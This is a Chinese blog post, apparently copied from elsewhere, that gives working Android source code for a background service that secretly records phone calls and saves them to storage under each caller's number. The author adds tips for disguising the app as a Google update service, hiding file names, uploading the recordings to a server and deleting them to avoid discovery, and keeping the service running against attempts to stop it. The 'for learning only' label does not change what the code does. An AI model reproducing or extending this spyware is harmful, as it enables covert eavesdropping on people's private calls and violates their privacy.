Android实现监听手机通话--仅供学习使用--

来源:互联网 发布:爱的归宿网络电影 编辑:程序博客网 时间:2024/04/25 23:59


           



把这服务伪装成谷歌更新服务~~ (将录音文件发给服务器这个版本并没有实现)  


文件的命名最好隐匿一点,写完上传服务器的方法之后,写出销毁这些录音的方法。不然就露馅了,其次还可以考虑整个服务处于自动启动即便stop之后可以自动启动,这是第一个版本没有完善的地方。


摘录1:

       实现手机电话状态的监听,主要依靠两个类:TelephoneManger和PhoneStateListener。 

TelephonseManger提供了取得手机基本服务的信息的一种方式。因此应用程序可以使用TelephonyManager来探测手机基本服务的情况。应用程序可以注册listener来监听电话状态的改变。我们不能对TelephonyManager进行实例化,只能通过获取服务的形式:
Context.getSystemService(Context.TELEPHONY_SERVICE);
注意:对手机的某些信息进行读取是需要一定许可(permission)的。
 

摘录2:
    主要静态成员常量:(它们对应PhoneStateListener.LISTEN_CALL_STATE所监听到的内容)
int CALL_STATE_IDLE   空闲状态,没有任何活动。
int CALL_STATE_OFFHOOK  摘机状态,至少有个电话活动。该活动或是拨打(dialing)或是通话,或是 on hold。并且没有电话是ringing or waiting
int CALL_STATE_RINGING  来电状态,电话铃声响起的那段时间或正在通话又来新电,新来电话不得不等待的那段时间。



AndroidManifest.xml里边需要添加这些权限:

 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>    <uses-permission android:name="android.permission.RECORD_AUDIO"/>    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>



 主要实现的代码:


package com.example.telephone;import java.io.IOException;import android.app.Dialog;import android.app.Service;import android.content.Context;import android.content.Intent;import android.media.MediaRecorder;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import android.widget.Toast;public class service  extends Service{/*  *  长期在后台运行的服务 *  */@Overridepublic IBinder onBind(Intent arg0) {// TODO Auto-generated method stubreturn null;}@Overridepublic void onCreate() {// TODO Auto-generated method stubsuper.onCreate();System.out.println("服务被创建了"); // 监视用户的电话状态的变化TelephonyManager tm= (TelephonyManager) getSystemService(TELEPHONY_SERVICE); tm.listen(new Myphonelistener(), PhoneStateListener.LISTEN_CALL_STATE);}private class Myphonelistener extends PhoneStateListener{ private MediaRecorder recorder;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {// TODO Auto-generated method stubtry {switch (state) {case TelephonyManager.CALL_STATE_IDLE: //空闲状态写上传数据的操作if (recorder!=null) {recorder.stop();recorder.reset();recorder.release();recorder=null;}break;case TelephonyManager.CALL_STATE_RINGING: //响铃状态System.out.println("发现来电号码"+incomingNumber);//1.创建一个录音机好吧    recorder =new MediaRecorder();recorder.setAudioSource(MediaRecorder.AudioSource.MIC);  // 调用话筒recorder.setOutputFormat(MediaRecorder.OutputFormat.RAW_AMR);//制定文件格式recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//编码格式recorder.setOutputFile("/sdcard/"+ incomingNumber+".amr");    recorder.prepare();break;case TelephonyManager.CALL_STATE_OFFHOOK: //通话状态if (recorder!=null) {recorder.start();}break;}} catch (IllegalStateException e) {// TODO Auto-generated catch blocke.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}super.onCallStateChanged(state, incomingNumber);}}@Overridepublic void onDestroy() {// TODO Auto-generated method stubsuper.onDestroy();System.out.println("服务被关闭了");}}



在Mainactivity 中只需要通过意图来启动服务:


Intent  intent = new Intent(this,service.class);startService(intent);


 OK  这只是1.0版本的。更邪恶的还在后面呢~~么么哒~







0 0
原创粉丝点击